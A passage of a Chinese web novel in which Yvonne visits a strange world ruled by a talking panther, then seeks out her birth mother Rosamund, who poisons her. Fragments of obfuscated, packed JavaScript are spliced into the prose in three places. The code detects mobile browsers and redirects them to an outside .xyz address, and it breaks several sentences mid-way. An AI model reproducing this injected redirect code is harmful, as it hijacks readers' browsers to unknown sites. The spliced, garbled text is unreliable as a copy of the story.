伊冯没听到任何声音,也没看到任何其他动物,还在迟疑就被黑豹用尾巴卷着腰往丛林里拉。黑豹让她蹲在一片灌木后,又跑出几步叼了些橘黄的圆形果子,跑回伊冯身边嚼碎了吐在她身上。 “……”伊冯手里闪起电光。 “把你身上的味道遮遮,那群猫崽子的鼻子一点不比笨熊们差。”黑豹舔舔牙,悠哉地趴在地上打了个哈欠,伸脑袋把落在地上的几个完整的果子吃了。 伊冯只能盯着外面等着军队路过,如果什么也没有,是这只黑豹耍她的,她就给自己烹制一份电烤全豹。 十秒后,伊冯感到地面在震颤,却还是未见其他;再有十秒,一支队伍尘烟四起地从前方的空地奔过,每个士兵披盔戴甲,身高两米以上的壮硕身体长着狮子脑袋。队列并不整齐,那些狮子兽人只是专注地朝前狂奔,呲着獠牙但不发一声,沉默地前去撕碎它们的敌人。 伊冯庆幸躲开了它们,看方向,这支急行军是往那个叫呼尔契的战场去的。还好她第一个遇见的是只古怪的黑豹,而不是那些好战的狮子士兵。 狮子兵团离开视野后又过了二十秒,黑豹才甩着尾巴伸了个懒腰站起来,又用尾巴戳戳伊冯:“走了走了。哎,又让小猫们捡了便宜,其他部族还是太傻,只懂蛮干。” 伊冯拍掉身上的果子碎屑,看了黑豹一眼:你也是猫科吧。 黑豹毫无自觉地继续管狮子叫猫:“这群猫崽子也不聪明,被当枪使东跑西跑,还以为自己无往不利不败之师呢——你听听她们给自己起的名,剡宁,太阳神的后裔——到晚上就抓瞎。” 黑豹突然话多,伊冯都有些插不进嘴:“你和那些狮子有仇?” 它说之前那战场上的两方都和它有关系,所以讨厌第三方的狮子兽人? 黑豹停下,背对着伊冯不动,原地刨了刨爪子:“我确实不喜欢她们。现在的这些孩子,都太好斗了……其实我那时候的那些家伙,也都是些疯子。喜好战争的,没有正常的。” 它转头看着伊冯的眼睛——它长得高大,甚至还要稍微低下头才能和伊冯四目相对——黑豹的目光带着审视:“你不认识我,也不知道巴沙这个名字,你不可能是这个世界的人。” 伊冯:“……你觉得我不是这个世界的人,是因为我不认识你?” “毋庸置疑。”黑豹昂首,“我是统一了大地的天选之王,一百五十年来各族各地都在歌颂我的伟业,怎么会有不知道我巴沙的人存于此世。” 何等的自恋。不过,如果它真的做到了它说的那些事,确实有自恋的资本。 “你长得和它们不一样,是你的后代们进化了吗?”一百多年,基因突变也来不及变这么多吧。话说回来,这只黑豹多少岁了? “进化?”黑豹发出意味不明的笑声,跳上树,在树枝间跳跃往林子深处去,“我年轻时也长那样。现在这样比较省体力,也更自在。” 林子里障碍物更多,伊冯跟得慢了些。她有做过各式越野训练,但在虚拟训练室里感受到的,用在现实中还是要适应一会儿。训练室模拟出的树皮没有这么粗糙,更没有乱爬的各式蛇虫和复杂的味道。 “你说你统一了大地,是建立了一个多种族的国家吗?之前我看到的那些战士,它们是你的子民的后代,所以你说你和它们都有关系?”伊冯边努力跟上黑豹的速度,边问。 黑豹在前方停下,等着伊冯:“你很聪明,孩子。” 伊冯靠近后,黑豹又跳下去:“下来走吧,你应该更适应地面。” 黑豹这副仿佛她长辈的体贴做派让伊冯有些别扭。地面也不好走,坑坑洼洼总有荆棘拦路,伊冯用武器调出风刃砍了一路,还是被不知什么时候爬到身上的虫子弄得心疲力竭。 黑豹探头探脑地瞅伊冯手里的棍状武器:“你不止会用电啊。” 我不是发电机谢谢。 伊冯喘着气,又渴又饿,不想浪费体力吐槽它了:“你究竟要带我去哪里?” 黑豹又开始刨地。 “……”难怪它管狮子叫猫,这豹怎么越看越狗。 把地面挖出一个够埋只兔子的坑后,黑豹终于下定决心般用脑袋指了一个方向:“去那边吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621576|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……你原来是想带我去哪?” “就是想带你走走,顺便和你聊聊。那些孩子一个个都只顾着打架,看见我对她们也不是什么好事,我好久没和别人聊天了。”黑豹偏开头,好像有点不好意思。 伊冯问:“你是各族的先祖,曾经唯一的王,为什么不能和它们见面沟通?” “如果她们真的尊重我这个王,就不会有这些荒唐的战争。”黑豹跃出林子,前面是一个小瀑布:“你应该很饿了,我有储备粮食,但愿合你的胃口。” 瀑布下有个小水潭,周围绿意森森,草下长着许多形状简单的纯色花朵,走近了才能看见,仿佛随着步伐在脚边绽放。 一路过来看到的都是些原始粗犷的景色,这里的风景比起来就诗意了许多,让伊冯的神经也被安抚觉得放松。 “我尽量保留了这里的样子……呼尔契原比这里要美十倍,可她们不在乎,一把火烧光了所有的花。”黑豹垂着头用鼻端蹭着一朵偏长冒尖的粉白小花,“呼尔契是风神和众生之母的花园,是老师传授知识的学园……老师走时,只给我留下了这些花。” 黑豹看起来很悲伤,它背对着伊冯低垂着头颅,高耸的脊骨过于突出。伊冯发觉它过于瘦了。她没亲眼见过别的黑豹,不知道这只叫巴沙曾是一国之王的黑豹,和她那个世界的是不是一个品种,但那样仿佛要突破表皮的骨头绝对不是正常的。 “巴沙……”伊冯第一次叫出它的名字,黑豹顿了下,抬头蹬上瀑布旁的崖壁。 黑豹在崖壁上的小小突起上如履平地:“上来吧。” 伊冯收回那一点同情。 把握在掌心的银球贴在石壁上,它自己吸附住石头并释放出局部引力场套牢伊冯的手,让她稳当地爬到黑豹站的高度。即使手里的武器“定影”已经跟着自己八年了,伊冯还是感慨它的适用性之强,如果没有它,她突入异地,一定会艰难数倍。 黑豹见她上来,往上方又走了几步,钻进瀑帘之后。 伊冯紧跟着进去,再一次为所见的反差惊讶。 山洞修葺得规整别致,四壁平坦不见坑洞凸起,用了什么材料涂成的暖黄色洞壁散发明亮柔和的光;家具摆件齐全,墙上甚至还有装裱好的挂画。整个石洞里的摆设可以说具备一定高度的审美品位。 这颠覆了伊冯原本对这个世界的认知。 她看见那些士兵身上穿的盔甲工艺不算粗糙,但这房间里展现出的文明水平远高于那些盔甲和武器展现出的。 伊冯看着角落圆形三脚桌上插着花的菱面玻璃花瓶:就算在她原本的世界里,她看到这样一个房间,只会觉得是房间主人喜好复古。如果哪天以诺把家里弄成这风格,她不会不喜欢。 黑豹很满意伊冯表现出的惊讶,它矜持地只甩了三下尾巴:“我费了点功夫收拾这里。没有人会不喜欢这里。” 它用尾巴端了盘食物放在玻璃茶桌上,拍着沙发让伊冯坐下。 沙发不软,也没硬到让人不适。盘子里是几块曲奇饼干,缀着些坚果。 伊冯往洞内深处看,想找到烘焙工具,却看见一面大镜子。 见伊冯一直盯着镜子看,黑豹又甩了甩尾巴:“把它带上来确实有些麻烦,毕竟这东西太容易碎,不注意还会有裂纹。不过房间里怎么可以没有镜子,这种大小的镜子勉强配我吧。” 伊冯没有听到黑豹在说什么,看清镜中人的那一瞬间,她的耳内就响起急促的嗡鸣,天旋地转—— 镜中那张她从未见过的脸,是谁? 5. 毒针 伊冯脸上的动摇实在太明显,黑豹仔细找着镜子上的异常,问:“你的世界难道没有镜子?” 她的目光钉在镜中无法移转,张口想要说什么,当她意识到镜中人正是自己,眼前似曾相识的模糊感扑来。 黑豹瞪大了眼睛。 金黄的双瞳好像要把消失的伊冯存在过的那片空气盯穿:“……孩子?你离开了吗?” 石洞里只剩它一个,茶几上的饼干还未被客人享用,连摆盘都未散乱。 黑豹跃上伊冯坐过的沙发,绕着被坐出的凹陷打圈,尾巴难以自已地大幅摆动着。 “终于,我终于……” 黑豹跳到了石洞深处的镜子前:“你又一次为我带来了好运。照见自身,看见自己就能拥有一切——是这样的啊,老师,我还没看清楚才会浪费这么多时间……不过没关系,我找到了向导。” 粗壮有力的尾巴鞭子般猛地向前一抽,像是黑色的闪电,将无暇光滑的镜面劈裂成无数块碎片,各印出黑豹的一角。 黑豹的前爪灵活地拿起一块碎片,那里面印着她的双眼,金黄的眼睛像是坠向大地的最后一颗太阳,在镜片中无声而壮大地燃烧。 伊冯视线恢复清晰时,木原在她眼前挥手。 木原见伊冯视线聚焦在自己身上,松口气笑道:“你的空间跳跃功能适应度不行啊,这点距离的跳跃就晕船。你是第一次体验吗?多经历几次就习惯了。” 伊冯缓慢地眨眼,适应尚未消散的眩晕感,安静地听木原说话,审视着眼中的一切。 她回到了追龙的飞船上。面前的点心盒里,糖糕还没来得及因为见光化开糖衣;从身后经过的追龙佣兵才走出去两三步;木原和她共享的终端屏幕上时间仅增加了五秒。 好像那个残酷的远古战场,奇异的兽人,以及自称为王的黑豹巴沙,不过是她一瞬幻梦。 而舷窗外的星云已是截然不同的美丽。这又让她恍惚,不知今夕何夕身处何处。 “到布莱德星还要经过一个中转站,”木原体贴地调出星域布局图给伊冯,“那里是个中级居住星,开放度偏低,外来船只停靠的程序要费些时间。” “布莱德星……果然是空间跳跃导致的混乱吗……”伊冯用只有自己能听见的音量喃喃。 在她储备的知识中,空间跳跃确实会有极小的几率让人被时空乱流影响,产生进入其他空间中的幻觉。有切实证据证明在空间跳跃中穿越到其他世界的案例,无论是明面上的报道还是伊冯所能接触到的信息渠道中,都为零。 伊冯将视线从星群中收回,看着舷窗上印出的影子。 她不常照镜子,但不至于不熟悉自己的长相。在巴沙的镜子里看见的那个女孩,有着和自己一样柔顺的及肩金发,一样的浅蓝色眼睛,但相似之处仅有这两处。那面镜子中的少年面目柔和不似她的立体,是一张东方人的脸。 这似乎更证明了那些都是她的幻觉,她或许只是看见了时空乱流中另一个人的一段历险。 伊冯突然抬手揉揉头发站了起来:“我想去房间里躺会儿。” “你去吧。”木原发给她几个文件,“这些是我家里给小孩子练着玩的,能帮助适应空间跳跃引发的不适,你试试?” “好,谢谢。”伊冯和木原道别,走向柯查尔给她准备的房间。 木原吸吸鼻子:伊冯什么时候喷的香水,好奇特的草木香。 房门在身后自动闭合,伊冯这才仓皇长出口气,展开渗出汗水的手。 手心里是一片发黄的枯叶。 因为颜色和头发相近,没有被木原注意到,她自己也是看了一会儿才发现。 人类住地早就脱离了靠天然植物净化空气、提供氧气、巩固水土的时代,元星是个完全的机械工业星球,城市设计上不喜好绿植。能让伊冯的头发沾上这么一片叶子的,只有另一个世界的那片丛林。 ……不,也不一定是另一个世界。 伊冯捂住脸转换思路。 或许只是跳跃到更远的这个世界的某个角落,宇宙这么大,人类还未完全探明,才有那么多官方的民间的探索队伍在探寻未开发区。巴沙所在的,或许只是一个还没被人类文明发现的遥远星球,对于一个还未开启星外文明的地区,另一个星球也就等同于另一个世界了。 即使如此,也无法让伊冯释然自己在五秒内独自出现在另一个地方度过了几个小时这件事。 她可是用自己的身体进行了时空穿越! 虽然有些利用时间流速差的技术,能让人在一天拥有三天的体感,但那些技术都只作用于感官,让人有度过更漫长时间的错觉而已,无法在物理上造成影响。 人类科技开发了空间技术还不敢说全然掌握,与时间有关的技术更被认为是潘多拉魔盒,在本就艰难的探索中被道德伦理束缚了研究进度,人类离拥有控制时间的能力还太远。 伊冯微弓起身子。 她仿佛摸到了禁忌之门的钥匙,兴奋得胆怯。 虽然掌控时间必然会导致这样那样的问题,引发的骚动和混乱都是可预见的——但那与对技术的进步探索不矛盾。 明知道有这样的可能性,怎么能忍受不去让可能性成真呢。 “啊……”难以自抑的声音一直从胸腔攀爬至喉咙从嘴中吐落,颤抖又痴狂。 自己的声音却令她惊醒。 伊冯长叹口气,按捺下翻腾高昂的心情。她时常会有些“疯”,在以诺表露出不喜后,就懂得藏起来这点疯态。她知道,大多数人都不会喜欢她的这股疯劲。 她只是喜欢让未知被掌握。 半小时后,飞船抵达布莱德星。 作为仅提供居住功能的中级星球,布莱德星仅有一个星港,一般只有定时定点的粮食等其他消耗用品运输船往来,居民流动量不大,鲜有外来人口。 追龙的飞船还未停靠就吸引了眼球,伊冯走下船时看到许多人停下工作看着这里交头接耳。 木原不舒服地瞪着其中一人,瞪到对方不好意思地转开视线,才转头和伊冯抱怨:“早听说这些中级星球封闭,没想到是连艘高速飞船都要围观的水准。” 伊冯安抚地碰碰她的手:“抱歉让你陪我,我们早去早回。” 木原想起伊冯的目的,后知后觉地意识到自己的话有些冒犯。虽然伊冯不在意。 伊冯手里没有她生母现居地的具体地址。她是在以诺的抽屉里发现生母的照片后,才摸索着把范围锁定到这颗星球。照片里的金发女人穿着围裙,端着蛋糕摆放进展示柜中,她的生母似乎在布莱德星经营一家甜点小作坊。 伊冯找到的地址偏偏在离星港最远的布莱德星另一端,好在布莱德封闭也只是对外,星内的交通设备不落后,公用空间跳跃设备的使用门槛不高。 星内一秒左右的空间跳跃还是让伊冯晕眩了一瞬,木原看她脸色不好,往她掌心里塞了块柠檬糖:“酸甜的食物可以转移注意力。” 伊冯吃下糖,对着木原笑笑。这笑里的勉强似乎不只是因为不适。木原不多问,牵住伊冯的手:“走吧,早去早回。” 伊冯略低下头,耳畔发丝滑下轻挡住她的侧脸。 她似乎又看到了仿佛另一个世界的景象,这次时间太短了,她没看清。 从星港附近的空间跳跃点过来后,投来的目光更加复杂密集,那些人几乎都在看伊冯。如果只是对陌生人的好奇,不该只关注一人,论外表,木原和柯查尔都有着不分高下的亮点。为免惹眼,追龙的人基本都留守在飞船上,只有柯查尔跟着伊冯和木原保障安全。 伊冯知道,她长得和她生母极像,她也是因为外貌才能立刻确定照片里的女人是她的生母。这些人应该认识她在此生活多年的生母,已经在心里揣测她们的关系。 她应该想到,这样封闭的地方,什么消息都会被散播得人尽皆知。越是靠近那家小小的甜点作坊,闻到空气中的香甜气味,她心中的犹豫就越是拖拽她的脚步。 木原被她带慢了步子,停下看她:“即便你现在转头就走,那些人什么都不知道,也不会停止议论。” 伊冯闭了闭眼,笑自己突然的患得患失:“是呀,好像在给自己的退缩找理由。” “叮铃……”店门是复古的玻璃推门,门框上面还古色古香地装着铃铛,伊冯推开门就被铃声昭示到来。 店员从柜台后抬头向她们问好,热情的笑容在看清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621577|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊冯长相的一瞬间变形。 店里零星三四个客人,也都把目光投来窃窃私语。 木原松开伊冯的手,自己在店内走动看看陈列的食物。那些客人都避开木原,终于还是不自在地离开店内,走到店外隔着玻璃张望。 留在店外的柯查尔倒成了震慑,那些人不敢久留,到底还是走了。 木原和伊冯上飞船后一路上把她们当空气的做法,让柯查尔审时度势地降低了自己的存在感,只在后面跟着绝不开口搭话,这会儿也不跟进店里。 伊冯独自走到柜台前,向店员说道:“我找罗莎蒙德。她是这里的店主,对吧?” 年轻的店员收不住脸上的惊讶好奇,嘴里回着话,眼睛滴溜溜地在伊冯身上打转:“老板她不常过来,你找她有什么事吗?” 伊冯笑:“我姐姐要结婚了,我来给小姨送请柬。姐姐仪式感重爱浪漫,大事一定要有实体的信件通知消息。” 不是什么劲爆的狗血剧情,店员藏不住失望,只说:“老板她就喜欢到处逛逛,不一定在哪。您把请柬留下,我来转交吧?” 伊冯当然没有什么请柬,只是觉得在罗莎蒙德和以诺复合前,她们间的关系不好说,所以随口编了个理由。听店员的话,只摇头婉拒,说在店里等会儿,等不到,用终端联系就是。 伊冯装作要逛店的样子,低头看柜台里的甜点。 她把手指点在玻璃上:“请给我一份这个,谢谢。” 木原看见伊冯端着碟子坐在就餐区,也拿了个水果挞过去。 伊冯面前的蛋糕通体是红色的,切面看出没有夹层,只是用三层不同深度的红色蛋糕堆叠,表面抹了奶油撒着不知什么的红色粉末,看起来有些绒布的质感。质朴单调得令木原咋舌。 伊冯低头用银叉切下一口的量,再送进嘴里细细咀嚼。蛋糕似乎很合她口味,两眼弯弯。 不等木原问,伊冯自己开口:“刚才我在柜台看见这个蛋糕的名字,叫红丝绒,和以诺说的一样。每年我生日,以诺都会给我做红丝绒蛋糕。” 伊冯低声细语,蛋糕里的糖分柔柔地化在声音中:“虽然甜度和口感有些差别,但我吃得出来,这个蛋糕和以诺做的,是同一种配方。” 木原认真听着,叉着几片淋了糖浆的水果放进嘴里:那个以诺·阿吉斯居然会亲手做甜点?! 店门开合,又带出一串铃声。 店里的人自然被声音吸引看过去。 推门的是个高挑的金发女郎。茂密的金发卷着波浪,拥簇着线条硬朗的面庞,下垂的眼角让面目柔和,眼妆简单修饰着天然的慵懒,浅蓝的瞳色仿佛坚冰,又印出另一种惊心动魄的美来;小巧高挺的鼻子让她的美减了几分野性,樱红的唇彩再减了些攻击性。脸上虽有些岁月留下的痕迹,却更添风韵。 只一眼,就连木原也能确认,这人就是伊冯要找的生母,罗莎蒙德。她们的脸实在太过相像。 只是伊冯继承了父亲上扬的眼尾,看习惯了还没觉得,今天骤然看到妆容精致的罗莎蒙德,木原又想起第一眼见伊冯时的惊叹。等伊冯到了罗莎蒙德的年纪,肯定是更加艳丽夺目的美人。 罗莎蒙德进门后很快就注意到店内仅有的客人,看过去就没移开目光。木原见状和伊冯说还有几个感兴趣的糕点,离开了就餐区。 罗莎蒙德走到伊冯面前坐下。 近距离直面这张脸,伊冯一时语结,打好的腹稿也无法脱出。 “是以诺让你来的?” 罗莎蒙德的声音低哑,如同弥漫在海面的浓雾。 更让伊冯难以回应的,是她语气中无法忽略的防备和敌意。 还在犹豫,罗莎蒙德就把她的沉默当成了默认。 “呵。”她发笑,伴着嘲讽和不屑成了刺人的钩子,“怎么,阿吉斯的二少爷又想拿我挡什么箭?当然,我的命在他手里,他想用我来做什么,我都没有拒绝的余地。” 她凑近伊冯,如对待情人般暧昧地低语:“你真是长得像我,多适合给我当替身,帮我假死脱身。” 伊冯没想过自己的生母竟是恨自己的,怎么会在母女相认的场合握住武器。自然,也躲不开那支扎在脖子上的针。 6. 怪物 罗莎蒙德伸手扶着伊冯,起身把失去意识的身体揽住。 怀中的人体温在迅速升高,证明毒剂在她体内正常地生效了。 如果过去能像这孩子一样被抹去,那该多轻松。 可惜不能。就因为她的过去纠缠不休,她才需要躲在这个闭塞落后的星球,装成一个安于平稳生活的中年女人。时间久了,连罗莎蒙德自己,都快以为她真的就是个徒有外貌的老实女人,守着间小小的糕点店就能满足。 这个在她的噩梦中诞生的孩子却毫无征兆地出现了。 当街坊试探着和她说有个很像她的女孩出现在店里时,她还抱有幻想当她们乱传闲话。看到这张和自己极相似的脸时,她也只是因为想起这孩子是怎么来的有些恶心。可当少年默认是以诺让她来的,罗莎蒙德的理智就在积年的情感中燃烧殆尽,报复的欲望扫除了一切顾忌。 伊冯突然挣动了一下,罗莎蒙德抱紧了她,就像大多母亲抱住自己的女儿那样温柔,一只手抚摸着她的头发安慰。 两张极相似的脸拥在一块,多么赏心悦目又温情。 木原投去欣慰的目光,安心低头挑拣着甜点。这家的甜点都是些传统点心,元星难得见到,可以打包点回去给家里人尝鲜。 罗莎蒙德微低着头,长发遮住了伊冯的脸,藏住了那一点痛苦挣扎。 这个药她用惯了,熟知药性在不同体质的人身上出现的各种不同效果,有最大化体验了药效如坠美梦般幸福地死去的,也有毫无知觉瞬间毙命的,她们看起来都像是普通地睡着了。 还有像怀中少年这种,因为感官灵敏,在死亡降临前强行恢复些意识妄图求生的。但她们也只能动那么一两下。 估算着最后的一点时间,罗莎蒙德终于对怀中这个初次见面的女儿生出些怜惜。 你虽然不幸是以诺和我的孩子,但至少能没有痛苦地死去。当年我的姐妹们,可没有你这么幸运。 “伊冯小姐睡着了吗?” “!” 罗莎蒙德警惕地看着突然出现的女人。铃铛没响,这个人是什么时候进来的? 柯查尔端着得体的笑,问:“伊冯小姐在来的路上也休息了会儿,怎么在这里又睡着了?” 罗莎蒙德看着她说话时有意展示的追龙徽章,心下冷笑,眼中积蓄泪水说:“这孩子似乎因为要来见我,紧张得几天都没睡好。刚才睡着前,有些害羞地和我说在船上想休息好显得有精神,还是没能睡着。和我相认,终于松了口气,才知道困了。” 她的神情多慈爱温柔,语气多疼惜爱护。 反而假。 木原看见柯查尔出现,虽然对她印象不好,但不觉得她会在这种场合捣乱,很可能是有意外,于是回到就餐区。看见罗莎蒙德的应对,再看伊冯倒在她怀里睡得人事不知的样子,木原心中警铃大作,直接上手要把伊冯弄醒。 罗莎蒙德避开她的手,不悦道:“你是她的朋友吧,就算是朋友,这也太失礼了。” 柯查尔说:“既然要休息,这么站着怎么睡得好呢,回飞船或是附近给伊冯小姐开间房,等她醒了二位再联络母女感情也不迟?” 罗莎蒙德愣了愣,突然想起什么似的,看向木原说:“这孩子,是在你帮助下偷跑出来的吧。” 伊冯对她透露了这些吗?这女人难道以为利用伊冯说的话就能争取信任? 罗莎蒙德对木原而言不过是初次见面的陌生人,即使有伊冯的生母这一层关系,也难以消除她已经建立的怀疑。 木原反问道:“是不是又怎么样?” “星际监狱刚发生了大越狱事件,你们难道不明白现在外出有多危险吗?”罗莎蒙德的语气严厉,正像一个在意孩子安危的长辈,“她从没出过元星不知轻重也就算了,你们这些佣兵难道还不明白局势?” 罗莎蒙德把矛头对准了柯查尔,咄咄逼人:“你们把犯人追赶到元星,本就违反了元星守备条例,官方看在事情没闹大的份上没有追究。这种时局还把两个孩子带离元星,生怕没人去检举你们追龙佣兵团吗?” 柯查尔感到些不知出于何处的违和感,还没出言应对她的话,终端突然收到消息。 木原倒帮她接话:“是我们要出来玩的,佣兵不过是受雇于人,我们是否要出元星,可不用佣兵帮忙决定。” 罗莎蒙德宽容地对她笑道:“你不看看你的终端消息吗?你的家人一定也为你的安全着急。” 木原的终端新消息从刚才起就一直跳个不停,只是她在意伊冯的事没理会,罗莎蒙德的话不难让她联想到是伊冯的父亲以诺做了什么。 以诺不是被塔里的工作绊住了吗,她们才出来不到两天,他怎么这么快就有反应了? 罗莎蒙德把自己终端里的一段文字对话调为公共可见,联络人是以诺,二人交流了伊冯来到布莱德星的事。以诺言语中难掩愤怒,让罗莎蒙德马上带她回元星,“就算把她打晕也要带回来!” “所以你就把她弄晕了?”木原不信,消息记录有的是方法造假,她关掉响个不停的短讯提示,“你十几年来从没和伊冯联络过,要她自己去想方设法地搜寻生母还活着的证据,这一见面你端架子倒是挺快?” “别人家的事你捣什么乱!” 眼前突然跳出视讯界面,画面上的男人暴跳如雷:“立刻回来!” “父亲?”木原惊讶又不愿相信,仔细看过男人的装扮、视讯背景,找不到可能是伪造的证据。这确实是她的父亲。 “……我知道了。” 木原结束和父亲的通讯,看着罗莎蒙德带着伊冯离开。 家里果然被阿吉斯施压,父亲勒令她立马回家,不许再插手和伊冯有关的事。而柯查尔,她也接到来自团内上级的命令,不得干预。 那个男人的权势就是用来控制自己女儿的人身自由吗!木原不甘心又担忧,可以想见伊冯回去后将会受到更严苛的管控,只恨自己没把终端开勿扰模式装失联,好带着伊冯跑得远远的。 “你这几年过得太安逸了,这样的场面都处理不好。” 耳边,男人不带情绪的声音让罗莎蒙德咬牙。 她承认自己的应急能力下降了太多,但一个佣兵和一个大家族的小姐又能把她怎么样,她总有办法脱身。以诺却突然通过她的终端向她发出指令,并抛出了一个无法拒绝的诱饵。 她也曾是一名星际佣兵。她所在的佣兵团队规模不大,名声不小。十六年前的一场任务,除她以外,全军覆没。以诺竟然对她说,能让她见到另一个幸存者…… 就算是圈套,她也愿意去赌那万分之一。 店面离空间跳跃点不远,罗莎蒙德把伊冯装上反重力装置带过去。在港口,停着一艘制式与周围格格不入的高级快艇。 艇身刻有阿吉斯家的家徽。 罗莎蒙德的脸色更难看了,以诺早就准备好了一切,为什么还要送这孩子来冒险,就为了看自己会不会咬饵? 快艇打开的舱门在罗莎蒙德眼里与绞肉机无异,但她必须进去。 “你来了。” 舱门闭合时,一个脸上纵横疤迹的红发女人出现在她面前。她的皮肤黝黑,那些疤痕不显眼,更像埋伏在皮肤下的活虫,细看令人汗毛耸立。 “队长……” 罗莎蒙德开口便走音,以诺说带回伊冯就让她见到的人,果然出现在眼前。她又惊又喜:“我以为你们都已经,你还活着……秋莉、赛雅儿呢?她们也都活着吗?” 红发女人沉默地看着她,转身往内部走去。 罗莎蒙德连忙追上。 罗莎蒙德被带进了飞艇的操作间。操作台旁的墙边竖着一台医疗舱,地面上规则地升起几个坐台,一个银发白裙的少年面向操作台,背对着她们坐着。 红发女人走到那个少年身旁站着,没有回应罗莎蒙德的目光。 灰发男人的投影出现在中央位置,指挥罗莎蒙德说:“把她放进医疗舱里。” 罗莎蒙德不愿在他面前表现出软弱,立刻收了欲流未流的泪水;更不屑他表现出的关切,只靠投影现身就想装慈父? 她已经给伊冯打了解药,不会有生命安全,不担心自己一时半刻的耽搁会引来他的报复。罗莎蒙德两手抱胸停在原地,冷嘲道:“你养孩子还真养出感情了?不想她死又何必送到我面前,你该不会妄想我能对她有什么母爱吧?” 以诺终于舍了些视线给她,又扭头看那个银发少年。 “你们这些人呀,就是不会好好说话,拐来拐去只顾着骂人了。”少年的话尾总要拐一个音,清嫩的音色故意带着恶作剧般的小钩子,伸着懒腰站起来,拍着裙褶转向她们,带动裙摆散开个华丽的圈。 少年的瞳仁竟是血红的,唇瓣也红得要滴血。皮肤白得与裙子界限难分,华丽蓬松的裙子有红色缎带点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她摆手转身,离开控制室:“期待我们的下一次合作。” 瓦刻黎抱起地上的罗莎蒙德跟上少年。 一架飞行器驶出阿吉斯的飞艇,拐弯飞进了港口角落的小型星际飞船内,连上飞船系统启动飞船起航,离开布莱德星。 少年坐在副驾驶座,面无表情地看着仪表盘上变化的数值。 “小姐,”瓦刻黎叫了她一声,“以诺知道我是‘怪物’,是因为那次泄漏的消息吗?” 少年说:“不一定。‘塔’的情报网,再全面再无孔不入我都不奇怪。至于那个间谍,一个偶然混进分部,连入队测试都无法通过的小虫子而已,能带走多少情报?这不是你要操心的事。” 瓦刻黎又问:“接下来,是继续争取以诺手里的内推名额,还是?……” “不急,时间充裕。现在,我对他那个宝贝女儿更感兴趣。就算他让我用你的命来换这几条‘塔’的机密情报,都不能说不是我们赚,可那个以诺只用它来让女儿回家。” 少年猩红的舌头润湿了嘴唇,血红的双眼回望着阿吉斯飞艇的方向:“比起相信他是个重视女儿的好父亲,我更相信是她有这样的价值。她能做到什么呢?让以诺觉得比塔的研究成果更珍贵……” 瞥见躺在后排的罗莎蒙德,少年对瓦刻黎说:“如果她能合格,由你带她。” 飞船的航行弧度多拐了十几度,然后被回神的瓦刻黎调整回原来的航线。 少年奇怪地看着瓦刻黎:“你不希望她加入我们?” 瓦刻黎迟疑了一会儿,才回答说:“她已经过上了平静的日子,没必要舍弃这里。” “如果她已经获得安宁,就不会随身带着致命的毒物。是你不想她加入,你觉得这太危险,你是为她好——但被留下的人只会觉得被抛弃了。别替她做决定。” 少年打了个哈欠,换回漫不经心的表情:“也别搞得像我在强买强卖,不愿意成为‘怪物’的人戴不上我的面具。” 瓦刻黎无话可说,闭嘴专心驾驶飞船。飞船翻转,罗莎蒙徳从椅子上滚到座椅下。 少年拨开罗莎蒙徳搭到前排的手,突然动作一顿,抓住她的手嗅闻。 瓦刻黎余光瞥见少年表情奇怪,担心是故友出了什么问题,忙问:“她没事吧?” “不是她。”少年摘下罗莎蒙徳的戒指,捏住上下两端逆向旋转,中间伸出一根细针。 针身上残留血痕,少年从座椅下方的应急箱里翻出一支真空针管,找到戒指内的存药槽,抽出不到一毫升的血液。 瓦刻黎问:“这是……那孩子的血?” “注入毒药后回流的。”少年看着针管中的血液冷笑,“阿吉斯偷藏着不得了的东西啊。” 7. 锁链 青草如厚毯铺满土地,野花绣满,风拨弄花草,大地变化颜色。 矫健的黑豹在草原上奔跑,鲜艳的色彩中它的黑色更显纯粹;极快的速度甚至干扰了风,风追着它重新编织大地的图案。 休憩的飞鸟惊起,蜂蝶慌忙躲闪,黑豹只向草原深处奔驰,直到望见一个人影,才开始放慢速度。 那是一个黑发的女人,穿着色泽艳丽的长袍,正坐在草地上将野花编进发辫里。 黑豹放轻步子慢慢走到女人身边,叫她:“老师。” 女人抬头看见黑豹,露出笑容,声音轻柔温和:“巴沙,今天想学什么?” 女人有着伊冯在巴沙的镜子里见过的那张脸。 伊冯睁开眼,望着仿佛绒质的白色天花板发愣。这种材质的天花板她很熟悉,是她在家里最常待的地下训练室。 以诺重新维护过了吗,多年使用留下的损耗怎么都不见了? 她刚才看到的是什么?巴沙和它老师的过去?为什么她会看到那些?是梦吗,她从不做梦,穿越的后遗症? 她好像躺在床上?为什么训练室有床?为什么她躺在这里? 伊冯拉开身上的薄被坐起来,看见站在不远处的灰白发男人。 刚清醒的她还有些头昏,但已足够想到前因后果。 伊冯问:“父亲,是母亲……罗莎蒙德,她,把我送回来的吗?” 以诺不答反问:“你为什么要去找她?” 以诺看着伊冯的目光带有审视,陌生而缺乏温度的眼神令伊冯脑中的眩晕更强烈,难受得反胃。 她低头回避以诺的眼睛,整理着思绪慢慢地回答他:“我想知道母亲是什么样的人,从您对我说过的话里,我猜测母亲还活着。既然她还活着,我想知道为什么我从没见过她。” 